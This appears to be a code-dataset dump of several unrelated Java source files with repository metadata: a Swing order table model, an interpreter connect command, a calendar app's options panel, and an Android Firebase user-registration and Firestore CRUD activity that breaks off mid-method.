| 532 | 0.699248 | 0.699248 | 24 | 21.166666 | 19.926252 | 60 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | false | false | 15 |
acdebd5d750ec89fe30fb4da0932dd16db478465 | 23,965,917,547,695 | 8328ce9107e697d0dee17d5379c38c42d87f651c | /modelo/online/lucianofelix/dao/TableModelPedidos.java | 38b4bbcc9f1050dbf6e8692ce5b729a463cf8db3 | [] | no_license | LuFelix/Prisma | https://github.com/LuFelix/Prisma | 33963ea8fc2dedbc096fead170037a22d9c47e43 | 10f0ab62c0212fc54d3ceeb7ba6e8234b41c50c6 | refs/heads/master | 2022-07-18T10:02:45.358000 | 2020-11-17T18:13:58 | 2020-11-17T18:13:58 | 159,332,777 | 2 | 0 | null | false | 2022-06-29T17:55:49 | 2018-11-27T12:34:05 | 2020-11-17T18:14:02 | 2022-06-29T17:55:46 | 29,762 | 2 | 0 | 3 | Java | false | false | package online.lucianofelix.dao;
import java.sql.Timestamp;
import java.util.ArrayList;
import java.util.List;
import javax.swing.table.AbstractTableModel;
import online.lucianofelix.beans.Pedido;
public class TableModelPedidos extends AbstractTableModel {
/**
*
*/
private static final long serialVersionUID = 1L;
private List<Pedido> linhas;
private String[] colunas = new String[]{"Número", "Nome", "Ítens", "Total",
"Data"};
private static final int Numero = 0;
private static final int Nome = 1;
private static final int Itens = 2;
private static final int Total = 3;
private static final int Data = 4;
private DAOPedidoPrepSTM daoPedido;
public TableModelPedidos() {
linhas = new ArrayList<Pedido>();
}
public TableModelPedidos(List<Pedido> listDados) {
daoPedido = new DAOPedidoPrepSTM();
linhas = new ArrayList<Pedido>(listDados);
}
@Override
public void setValueAt(Object aValue, int rowIndex, int columnIndex) {
Pedido pedi = linhas.get(rowIndex);
switch (columnIndex) {
case Numero :
break;
case Nome :
break;
case Itens :
break;
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
fireTableCellUpdated(rowIndex, columnIndex);
daoPedido.alterar(pedi);
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
Pedido pedi = linhas.get(rowIndex);
switch (columnIndex) {
case Numero :
return pedi.getCodiPedi();
case Nome :
return pedi.getxNome();
case Itens :
return pedi.getQuantItens();
case Total :
return pedi.getTotalPedi();
case Data :
return pedi.getDataHoraPedi();
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
}
@Override
public boolean isCellEditable(int rowIndex, int columnIndex) {
switch (columnIndex) {
case Numero :
return columnIndex == Numero;
case Nome :
return columnIndex == Nome;
case Itens :
return columnIndex == Itens;
case Total :
return columnIndex == Total;
case Data :
return columnIndex == Data;
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
}
public Pedido getItem(int linha) {
return linhas.get(linha);
}
@Override
public Class<?> getColumnClass(int columnIndex) {
switch (columnIndex) {
case Numero :
return String.class;
case Nome :
return String.class;
case Itens :
return Integer.class;
case Total :
return Float.class;
case Data :
return Timestamp.class;
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
}
@Override
public String getColumnName(int columnIndex) {
return colunas[columnIndex];
};
@Override
public int getColumnCount() {
return colunas.length;
}
@Override
public int getRowCount() {
return linhas.size();
}
}
| ISO-8859-1 | Java | 3,018 | java | TableModelPedidos.java | Java | [] | null | [] | package online.lucianofelix.dao;
import java.sql.Timestamp;
import java.util.ArrayList;
import java.util.List;
import javax.swing.table.AbstractTableModel;
import online.lucianofelix.beans.Pedido;
public class TableModelPedidos extends AbstractTableModel {
/**
*
*/
private static final long serialVersionUID = 1L;
private List<Pedido> linhas;
private String[] colunas = new String[]{"Número", "Nome", "Ítens", "Total",
"Data"};
private static final int Numero = 0;
private static final int Nome = 1;
private static final int Itens = 2;
private static final int Total = 3;
private static final int Data = 4;
private DAOPedidoPrepSTM daoPedido;
public TableModelPedidos() {
linhas = new ArrayList<Pedido>();
}
public TableModelPedidos(List<Pedido> listDados) {
daoPedido = new DAOPedidoPrepSTM();
linhas = new ArrayList<Pedido>(listDados);
}
@Override
public void setValueAt(Object aValue, int rowIndex, int columnIndex) {
Pedido pedi = linhas.get(rowIndex);
switch (columnIndex) {
case Numero :
break;
case Nome :
break;
case Itens :
break;
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
fireTableCellUpdated(rowIndex, columnIndex);
daoPedido.alterar(pedi);
}
@Override
public Object getValueAt(int rowIndex, int columnIndex) {
Pedido pedi = linhas.get(rowIndex);
switch (columnIndex) {
case Numero :
return pedi.getCodiPedi();
case Nome :
return pedi.getxNome();
case Itens :
return pedi.getQuantItens();
case Total :
return pedi.getTotalPedi();
case Data :
return pedi.getDataHoraPedi();
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
}
@Override
public boolean isCellEditable(int rowIndex, int columnIndex) {
switch (columnIndex) {
case Numero :
return columnIndex == Numero;
case Nome :
return columnIndex == Nome;
case Itens :
return columnIndex == Itens;
case Total :
return columnIndex == Total;
case Data :
return columnIndex == Data;
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
}
public Pedido getItem(int linha) {
return linhas.get(linha);
}
@Override
public Class<?> getColumnClass(int columnIndex) {
switch (columnIndex) {
case Numero :
return String.class;
case Nome :
return String.class;
case Itens :
return Integer.class;
case Total :
return Float.class;
case Data :
return Timestamp.class;
default :
throw new IndexOutOfBoundsException(
"columnIndex out of bounds");
}
}
@Override
public String getColumnName(int columnIndex) {
return colunas[columnIndex];
};
@Override
public int getColumnCount() {
return colunas.length;
}
@Override
public int getRowCount() {
return linhas.size();
}
}
| 3,018 | 0.662467 | 0.660477 | 133 | 20.676691 | 16.954849 | 76 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.37594 | false | false | 15 |
e5df7919496b3c5168abd8d4392e48a71a2cdee8 | 26,568,667,739,744 | 4f984b5646f170f107d8af944d7ab603595048cc | /interpreter/src/InterpreterCommands/ConnectCommand.java | 4bbe14a4620cd58b34059e42deedc98457d6b90d | [] | no_license | RoninEMH/Simple-Interpreter | https://github.com/RoninEMH/Simple-Interpreter | 75686fb91e4f495fd2744b9e81844ec8b66d1a8a | ac698ea0b34a4bdf9b2ae79be8826609ab3219a0 | refs/heads/main | 2022-12-25T09:10:43.998000 | 2020-10-11T16:55:40 | 2020-10-11T16:55:40 | 303,167,656 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package InterpreterCommands;
import java.util.List;
import Expression.ExpressionCreator;
import Interpreter.InterpreterData;
import Interpreter.SimulatorConnection;
public class ConnectCommand extends AbstractCommand {
public ConnectCommand(InterpreterData data) {
super(data);
}
@Override
public int doCommand(List<String> args) {
if (args.size() < 3)
return -1;
if (!args.get(0).contentEquals("connect"))
return -1;
double port = new ExpressionCreator().translater(args.get(2), this.data.getSymbolTable()).calculate();
this.data.setSimulatorConnection(new SimulatorConnection(args.get(1), (int) port));
return 3;
}
}
| UTF-8 | Java | 678 | java | ConnectCommand.java | Java | [] | null | [] | package InterpreterCommands;
import java.util.List;
import Expression.ExpressionCreator;
import Interpreter.InterpreterData;
import Interpreter.SimulatorConnection;
public class ConnectCommand extends AbstractCommand {
public ConnectCommand(InterpreterData data) {
super(data);
}
@Override
public int doCommand(List<String> args) {
if (args.size() < 3)
return -1;
if (!args.get(0).contentEquals("connect"))
return -1;
double port = new ExpressionCreator().translater(args.get(2), this.data.getSymbolTable()).calculate();
this.data.setSimulatorConnection(new SimulatorConnection(args.get(1), (int) port));
return 3;
}
}
| 678 | 0.719764 | 0.70944 | 28 | 22.214285 | 26.326735 | 104 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.285714 | false | false | 15 |
424eabc6c9a9c8b1bae4bc4fe1e6edb93b91e42a | 11,665,131,215,195 | dee6e3cdb58bdf740e0a9d1cebcf23c341e12cc4 | /src/main/ui/gui/OptionsPanel.java | 90605db9545e48ebb611554eece5161e9f5f53d5 | [] | no_license | eltontiet/CalendarApp | https://github.com/eltontiet/CalendarApp | 6c603218b4f40c71b04c9e90c4e7749223129517 | bbd1784631c79ad168b7db5eb4b80f1e3c0be524 | refs/heads/master | 2023-05-28T05:37:09.273000 | 2021-05-27T06:01:22 | 2021-05-27T06:01:22 | 371,263,274 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ui.gui;
import model.Config;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.File;
import java.io.FileNotFoundException;
import java.util.Map;
// TODO: Add new activity, event, and edit.
// Represents the options panel
public class OptionsPanel extends OrganizationAppPanel implements ActionListener {
private static final int WIDTH = 200;
private static final int HEIGHT = 850;
private GraphicalOrganizationApp graphicalOrganizationApp;
private JPanel panel;
// MODIFIES: this
// EFFECTS: initializes the options panel
public OptionsPanel(GraphicalOrganizationApp graphicalOrganizationApp) {
super();
setPreferredSize(new Dimension(WIDTH,HEIGHT));
this.graphicalOrganizationApp = graphicalOrganizationApp;
renderOptions();
}
// MODIFIES: this
// EFFECTS: creates an empty panel
private void setNewPanel() {
panel = new JPanel();
panel.setOpaque(false);
panel.setPreferredSize(new Dimension(WIDTH,HEIGHT));
panel.setBorder(BorderFactory.createLineBorder(Color.BLACK));
}
// REQUIRES: panel was just reset
// MODIFIES: this
// EFFECTS: renders the buttons for the different options
private void renderOptions() {
setNewPanel();
initializeAddButtons();
initializeImageSelector();
initializePersistence();
add(panel);
reload(panel);
}
// MODIFIES: this
// EFFECTS: creates a button to select image from explorer
// to set as background
private void initializeImageSelector() {
JButton selectBackground = new JButton("Select Background");
selectBackground.setActionCommand("selectBackground");
selectBackground.addActionListener(this);
selectBackground.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(selectBackground);
}
// MODIFIES: this
// EFFECTS: adds the add buttons onto the
private void initializeAddButtons() {
JButton newScheduleButton = new JButton("New Schedule");
newScheduleButton.setActionCommand("newSchedule");
newScheduleButton.addActionListener(this);
newScheduleButton.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(newScheduleButton,BorderLayout.CENTER);
JButton newActivityButton = new JButton("New Activity");
newActivityButton.setActionCommand("newActivity");
newActivityButton.addActionListener(this);
newActivityButton.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(newActivityButton,BorderLayout.CENTER);
JButton newEventButton = new JButton("New Event");
newEventButton.setActionCommand("newEvent");
newEventButton.addActionListener(this);
newEventButton.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(newEventButton,BorderLayout.CENTER);
}
// MODIFIES: this
// EFFECTS: adds the save and calendars buttons onto the panel
private void initializePersistence() {
JButton deleteCalendarButton = new JButton("Delete Calendar");
deleteCalendarButton.setActionCommand("deleteCalendar");
deleteCalendarButton.addActionListener(this);
deleteCalendarButton.setPreferredSize(new Dimension(WIDTH - 50, 24));
panel.add(deleteCalendarButton,BorderLayout.NORTH);
JButton calendarsButton = new JButton("Calendars");
calendarsButton.setActionCommand("calendars");
calendarsButton.addActionListener(this);
panel.add(calendarsButton,BorderLayout.WEST);
JButton saveButton = new JButton("Save");
saveButton.setActionCommand("save");
saveButton.addActionListener(this);
panel.add(saveButton,BorderLayout.CENTER);
}
// EFFECTS: does an action based on the button pressed
@Override
public void actionPerformed(ActionEvent e) {
if (e.getActionCommand().equals("save")) {
save();
}
if (e.getActionCommand().equals("calendars")) {
remove(panel);
setNewPanel();
newCalendarButton();
calendarsMenu("load");
}
if (e.getActionCommand().equals("deleteCalendar")) {
remove(panel);
setNewPanel();
calendarsMenu("delete");
}
if (e.getActionCommand().equals("selectBackground")) {
selectBackground();
}
newActionPerformed(e);
}
// MODIFIES: this
// EFFECTS: opens windows explorer to select an image
// and sets it as the background image
private void selectBackground() {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (Exception e) {
e.printStackTrace();
}
JFileChooser fc = new JFileChooser();
if (fc.showOpenDialog(graphicalOrganizationApp) == JFileChooser.APPROVE_OPTION) {
File file = fc.getSelectedFile();
graphicalOrganizationApp.setImage(file.getAbsolutePath());
}
try {
UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName());
} catch (Exception e) {
e.printStackTrace();
}
reset();
}
// EFFECTS: does an action based on the button pressed
private void newActionPerformed(ActionEvent e) {
if (e.getActionCommand().equals("newCalendar")) {
graphicalOrganizationApp.getEditorPanel().newCalendar();
}
if (e.getActionCommand().equals("newSchedule")) {
graphicalOrganizationApp.getEditorPanel().newSchedule();
}
if (e.getActionCommand().equals("newActivity")) {
graphicalOrganizationApp.getEditorPanel().chooseSchedule();
}
if (e.getActionCommand().equals("newEvent")) {
graphicalOrganizationApp.getEditorPanel().newEvent();
}
}
// MODIFIES: this
// EFFECTS: creates a new calendar button
private void newCalendarButton() {
JButton newCalendarButton = new JButton("New Calendar");
newCalendarButton.setActionCommand("newCalendar");
newCalendarButton.addActionListener(this);
newCalendarButton.setPreferredSize(new Dimension(WIDTH - 50, 30));
JLabel empty = new JLabel(" ");
empty.setOpaque(false);
empty.setPreferredSize(new Dimension(WIDTH - 50, 10));
panel.add(newCalendarButton);
panel.add(empty);
reload();
}
// EFFECTS: saves the file; if the file cannot be found, places an error on the screen
private void save() {
try {
graphicalOrganizationApp.getPersistenceHandler().saveCalendar();
} catch (FileNotFoundException fileNotFoundException) {
fileNotFoundException.printStackTrace();
JLabel error = new JLabel("The file could not be saved");
error.setFont(error.getFont().deriveFont(25.0f));
add(error,BorderLayout.SOUTH);
}
}
// MODIFIES: this
// EFFECTS: renders the calendar menu
private void calendarsMenu(String action) {
Config config = graphicalOrganizationApp.getPersistenceHandler().getConfig();
for (Map.Entry<String,String> entry:config.getFiles().entrySet()) {
String name = entry.getKey();
if (!graphicalOrganizationApp.getCalendar().getName().equals(name)) {
JButton button = new JButton(name);
button.addActionListener(e -> calendarAction(action, entry.getValue()));
button.setPreferredSize(new Dimension(WIDTH - 50, 30));
panel.add(button);
}
}
JButton cancel = new JButton("Cancel");
cancel.addActionListener(e -> reset());
panel.add(cancel);
add(panel);
reload(panel);
}
// MODIFIES: this
// EFFECTS: decides whether to load or delete the calendar
private void calendarAction(String action, String value) {
if (action.equals("load")) {
load(value);
} else if (action.equals("delete")) {
graphicalOrganizationApp.getPersistenceHandler().deleteFile(value);
reset();
}
}
// MODIFIES: this, graphicalOrganizationApp
// EFFECTS: loads a new calendar
public void load(String fileName) {
graphicalOrganizationApp.loadCalendar(fileName);
reset();
}
// MODIFIES: this
// EFFECTS: resets the options panel
public void reset() {
remove(panel);
renderOptions();
}
}
| UTF-8 | Java | 8,727 | java | OptionsPanel.java | Java | [] | null | [] | package ui.gui;
import model.Config;
import javax.swing.*;
import java.awt.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.File;
import java.io.FileNotFoundException;
import java.util.Map;
// TODO: Add new activity, event, and edit.
// Represents the options panel
public class OptionsPanel extends OrganizationAppPanel implements ActionListener {
private static final int WIDTH = 200;
private static final int HEIGHT = 850;
private GraphicalOrganizationApp graphicalOrganizationApp;
private JPanel panel;
// MODIFIES: this
// EFFECTS: initializes the options panel
public OptionsPanel(GraphicalOrganizationApp graphicalOrganizationApp) {
super();
setPreferredSize(new Dimension(WIDTH,HEIGHT));
this.graphicalOrganizationApp = graphicalOrganizationApp;
renderOptions();
}
// MODIFIES: this
// EFFECTS: creates an empty panel
private void setNewPanel() {
panel = new JPanel();
panel.setOpaque(false);
panel.setPreferredSize(new Dimension(WIDTH,HEIGHT));
panel.setBorder(BorderFactory.createLineBorder(Color.BLACK));
}
// REQUIRES: panel was just reset
// MODIFIES: this
// EFFECTS: renders the buttons for the different options
private void renderOptions() {
setNewPanel();
initializeAddButtons();
initializeImageSelector();
initializePersistence();
add(panel);
reload(panel);
}
// MODIFIES: this
// EFFECTS: creates a button to select image from explorer
// to set as background
private void initializeImageSelector() {
JButton selectBackground = new JButton("Select Background");
selectBackground.setActionCommand("selectBackground");
selectBackground.addActionListener(this);
selectBackground.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(selectBackground);
}
// MODIFIES: this
// EFFECTS: adds the add buttons onto the
private void initializeAddButtons() {
JButton newScheduleButton = new JButton("New Schedule");
newScheduleButton.setActionCommand("newSchedule");
newScheduleButton.addActionListener(this);
newScheduleButton.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(newScheduleButton,BorderLayout.CENTER);
JButton newActivityButton = new JButton("New Activity");
newActivityButton.setActionCommand("newActivity");
newActivityButton.addActionListener(this);
newActivityButton.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(newActivityButton,BorderLayout.CENTER);
JButton newEventButton = new JButton("New Event");
newEventButton.setActionCommand("newEvent");
newEventButton.addActionListener(this);
newEventButton.setPreferredSize(new Dimension(WIDTH - 50, 50));
panel.add(newEventButton,BorderLayout.CENTER);
}
// MODIFIES: this
// EFFECTS: adds the save and calendars buttons onto the panel
private void initializePersistence() {
JButton deleteCalendarButton = new JButton("Delete Calendar");
deleteCalendarButton.setActionCommand("deleteCalendar");
deleteCalendarButton.addActionListener(this);
deleteCalendarButton.setPreferredSize(new Dimension(WIDTH - 50, 24));
panel.add(deleteCalendarButton,BorderLayout.NORTH);
JButton calendarsButton = new JButton("Calendars");
calendarsButton.setActionCommand("calendars");
calendarsButton.addActionListener(this);
panel.add(calendarsButton,BorderLayout.WEST);
JButton saveButton = new JButton("Save");
saveButton.setActionCommand("save");
saveButton.addActionListener(this);
panel.add(saveButton,BorderLayout.CENTER);
}
// EFFECTS: does an action based on the button pressed
@Override
public void actionPerformed(ActionEvent e) {
if (e.getActionCommand().equals("save")) {
save();
}
if (e.getActionCommand().equals("calendars")) {
remove(panel);
setNewPanel();
newCalendarButton();
calendarsMenu("load");
}
if (e.getActionCommand().equals("deleteCalendar")) {
remove(panel);
setNewPanel();
calendarsMenu("delete");
}
if (e.getActionCommand().equals("selectBackground")) {
selectBackground();
}
newActionPerformed(e);
}
// MODIFIES: this
// EFFECTS: opens windows explorer to select an image
// and sets it as the background image
private void selectBackground() {
try {
UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
} catch (Exception e) {
e.printStackTrace();
}
JFileChooser fc = new JFileChooser();
if (fc.showOpenDialog(graphicalOrganizationApp) == JFileChooser.APPROVE_OPTION) {
File file = fc.getSelectedFile();
graphicalOrganizationApp.setImage(file.getAbsolutePath());
}
try {
UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClassName());
} catch (Exception e) {
e.printStackTrace();
}
reset();
}
// EFFECTS: does an action based on the button pressed
private void newActionPerformed(ActionEvent e) {
if (e.getActionCommand().equals("newCalendar")) {
graphicalOrganizationApp.getEditorPanel().newCalendar();
}
if (e.getActionCommand().equals("newSchedule")) {
graphicalOrganizationApp.getEditorPanel().newSchedule();
}
if (e.getActionCommand().equals("newActivity")) {
graphicalOrganizationApp.getEditorPanel().chooseSchedule();
}
if (e.getActionCommand().equals("newEvent")) {
graphicalOrganizationApp.getEditorPanel().newEvent();
}
}
// MODIFIES: this
// EFFECTS: creates a new calendar button
private void newCalendarButton() {
JButton newCalendarButton = new JButton("New Calendar");
newCalendarButton.setActionCommand("newCalendar");
newCalendarButton.addActionListener(this);
newCalendarButton.setPreferredSize(new Dimension(WIDTH - 50, 30));
JLabel empty = new JLabel(" ");
empty.setOpaque(false);
empty.setPreferredSize(new Dimension(WIDTH - 50, 10));
panel.add(newCalendarButton);
panel.add(empty);
reload();
}
// EFFECTS: saves the file; if the file cannot be found, places an error on the screen
private void save() {
try {
graphicalOrganizationApp.getPersistenceHandler().saveCalendar();
} catch (FileNotFoundException fileNotFoundException) {
fileNotFoundException.printStackTrace();
JLabel error = new JLabel("The file could not be saved");
error.setFont(error.getFont().deriveFont(25.0f));
add(error,BorderLayout.SOUTH);
}
}
// MODIFIES: this
// EFFECTS: renders the calendar menu
private void calendarsMenu(String action) {
Config config = graphicalOrganizationApp.getPersistenceHandler().getConfig();
for (Map.Entry<String,String> entry:config.getFiles().entrySet()) {
String name = entry.getKey();
if (!graphicalOrganizationApp.getCalendar().getName().equals(name)) {
JButton button = new JButton(name);
button.addActionListener(e -> calendarAction(action, entry.getValue()));
button.setPreferredSize(new Dimension(WIDTH - 50, 30));
panel.add(button);
}
}
JButton cancel = new JButton("Cancel");
cancel.addActionListener(e -> reset());
panel.add(cancel);
add(panel);
reload(panel);
}
// MODIFIES: this
// EFFECTS: decides whether to load or delete the calendar
private void calendarAction(String action, String value) {
if (action.equals("load")) {
load(value);
} else if (action.equals("delete")) {
graphicalOrganizationApp.getPersistenceHandler().deleteFile(value);
reset();
}
}
// MODIFIES: this, graphicalOrganizationApp
// EFFECTS: loads a new calendar
public void load(String fileName) {
graphicalOrganizationApp.loadCalendar(fileName);
reset();
}
// MODIFIES: this
// EFFECTS: resets the options panel
public void reset() {
remove(panel);
renderOptions();
}
}
| 8,727 | 0.645926 | 0.641228 | 259 | 32.694981 | 25.266525 | 90 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.540541 | false | false | 15 |
7909f2c232601f9fdc2598e1e68c117d5b5a7462 | 17,987,323,075,614 | 7f6c6cadd3109bbf129c4d3b528a0a2f938bb869 | /crud_firestore/app/src/main/java/com/cesde/moviles2/MainActivity.java | a5ad416181dfe95474c4a886ea9521c640fe337c | [] | no_license | cursoscesde/moviles2_g1 | https://github.com/cursoscesde/moviles2_g1 | de31915350ee636ee75739d807c5df9501883001 | 7b66cd77d02af158eb5a1ecd58819076feb4c6a0 | refs/heads/main | 2023-04-08T05:47:55.153000 | 2021-05-01T01:32:32 | 2021-05-01T01:32:32 | 356,432,311 | 2 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.cesde.moviles2;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.FirebaseFirestore;
import java.util.HashMap;
import java.util.Map;
public class MainActivity extends AppCompatActivity {
EditText etName, etLastname, etYear, etIdentification, etEmail, etPassword;
FirebaseFirestore db = FirebaseFirestore.getInstance();
private FirebaseAuth mAuth = FirebaseAuth.getInstance();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
etName = findViewById(R.id.etName);
etLastname = findViewById(R.id.etLastname);
etYear = findViewById(R.id.etYear);
etIdentification = findViewById(R.id.etIdentification);
etEmail = findViewById(R.id.etEmail);
etPassword = findViewById(R.id.etPassword);
// Create a new user with a first and last name
}
public void registerUser(View view){
String email = etEmail.getText().toString();
String password = etPassword.getText().toString();
mAuth.createUserWithEmailAndPassword(email, password)
.addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if (task.isSuccessful()) {
// Sign in success, update UI with the signed-in user's information
Toast.makeText(MainActivity.this, "usuario registrado", Toast.LENGTH_SHORT).show();
} else {
// If sign in fails, display a message to the user.
Toast.makeText(MainActivity.this, "error registrando usuario", Toast.LENGTH_SHORT).show();
}
}
});
}
public void signin(View view){
String email = etEmail.getText().toString();
String password = etPassword.getText().toString();
mAuth.signInWithEmailAndPassword(email, password)
.addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if (task.isSuccessful()) {
// Sign in success, update UI with the signed-in user's information
Toast.makeText(MainActivity.this, "Inicio de session correcto", Toast.LENGTH_SHORT).show();
} else {
// If sign in fails, display a message to the user.
Toast.makeText(MainActivity.this, "error de usuairo", Toast.LENGTH_SHORT).show();
}
}
});
}
public void saveUser(View view){
Map<String, Object> user = new HashMap<>();
String name = etName.getText().toString();
String lastname = etLastname.getText().toString();
String identification = etIdentification.getText().toString();
String year = etYear.getText().toString();
user.put("name", name);
user.put("lastname", lastname);
user.put("identification", identification);
user.put("year", year);
db.collection("users")
.add(user)
.addOnSuccessListener(new OnSuccessListener<DocumentReference>() {
@Override
public void onSuccess(DocumentReference documentReference) {
Toast.makeText(MainActivity.this, "Usuario registrado correctamente", Toast.LENGTH_SHORT).show();
Log.d("firebase", "DocumentSnapshot added with ID: " + documentReference.getId());
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Toast.makeText(MainActivity.this, "Hubo un error", Toast.LENGTH_SHORT).show();
Log.w("firebase", "Error adding document", e);
}
});
}
public void setUser(View view){
Map<String, Object> user = new HashMap<>();
String name = etName.getText().toString();
String lastname = etLastname.getText().toString();
String identification = etIdentification.getText().toString();
String year = etYear.getText().toString();
user.put("name", name);
user.put("lastname", lastname);
user.put("identification", identification);
user.put("year", year);
db.collection("users").document(""+ identification)
.set(user)
.addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
Toast.makeText(MainActivity.this, "Usuario registrado correctamente", Toast.LENGTH_SHORT).show();
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Toast.makeText(MainActivity.this, "Hubo un error", Toast.LENGTH_SHORT).show();
}
});
}
public void deleteUser(View view){
db.collection("users").document("123456")
.delete()
.addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
Toast.makeText(MainActivity.this, "documento eliminado", Toast.LENGTH_SHORT).show();
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Toast.makeText(MainActivity.this, "error", Toast.LENGTH_SHORT).show();
}
});
}
public void loginActivity(View view){
//Intent intent = new Intent(this, LoginActivity.class);
Intent intent = new Intent(this, LoginActivity.class);
startActivity(intent);
}
} | UTF-8 | Java | 6,967 | java | MainActivity.java | Java | [] | null | [] | package com.cesde.moviles2;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.FirebaseFirestore;
import java.util.HashMap;
import java.util.Map;
public class MainActivity extends AppCompatActivity {
EditText etName, etLastname, etYear, etIdentification, etEmail, etPassword;
FirebaseFirestore db = FirebaseFirestore.getInstance();
private FirebaseAuth mAuth = FirebaseAuth.getInstance();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
etName = findViewById(R.id.etName);
etLastname = findViewById(R.id.etLastname);
etYear = findViewById(R.id.etYear);
etIdentification = findViewById(R.id.etIdentification);
etEmail = findViewById(R.id.etEmail);
etPassword = findViewById(R.id.etPassword);
// Create a new user with a first and last name
}
public void registerUser(View view){
String email = etEmail.getText().toString();
String password = etPassword.getText().toString();
mAuth.createUserWithEmailAndPassword(email, password)
.addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if (task.isSuccessful()) {
// Sign in success, update UI with the signed-in user's information
Toast.makeText(MainActivity.this, "usuario registrado", Toast.LENGTH_SHORT).show();
} else {
// If sign in fails, display a message to the user.
Toast.makeText(MainActivity.this, "error registrando usuario", Toast.LENGTH_SHORT).show();
}
}
});
}
public void signin(View view){
String email = etEmail.getText().toString();
String password = etPassword.getText().toString();
mAuth.signInWithEmailAndPassword(email, password)
.addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if (task.isSuccessful()) {
// Sign in success, update UI with the signed-in user's information
Toast.makeText(MainActivity.this, "Inicio de session correcto", Toast.LENGTH_SHORT).show();
} else {
// If sign in fails, display a message to the user.
Toast.makeText(MainActivity.this, "error de usuairo", Toast.LENGTH_SHORT).show();
}
}
});
}
public void saveUser(View view){
Map<String, Object> user = new HashMap<>();
String name = etName.getText().toString();
String lastname = etLastname.getText().toString();
String identification = etIdentification.getText().toString();
String year = etYear.getText().toString();
user.put("name", name);
user.put("lastname", lastname);
user.put("identification", identification);
user.put("year", year);
db.collection("users")
.add(user)
.addOnSuccessListener(new OnSuccessListener<DocumentReference>() {
@Override
public void onSuccess(DocumentReference documentReference) {
Toast.makeText(MainActivity.this, "Usuario registrado correctamente", Toast.LENGTH_SHORT).show();
Log.d("firebase", "DocumentSnapshot added with ID: " + documentReference.getId());
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Toast.makeText(MainActivity.this, "Hubo un error", Toast.LENGTH_SHORT).show();
Log.w("firebase", "Error adding document", e);
}
});
}
public void setUser(View view){
Map<String, Object> user = new HashMap<>();
String name = etName.getText().toString();
String lastname = etLastname.getText().toString();
String identification = etIdentification.getText().toString();
String year = etYear.getText().toString();
user.put("name", name);
user.put("lastname", lastname);
user.put("identification", identification);
user.put("year", year);
db.collection("users").document(""+ identification)
.set(user)
.addOnSuccessListener(new OnSuccessListener<Void>() {
@Override
public void onSuccess(Void aVoid) {
Toast.makeText(MainActivity.this, "Usuario registrado correctamente", Toast.LENGTH_SHORT).show();
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
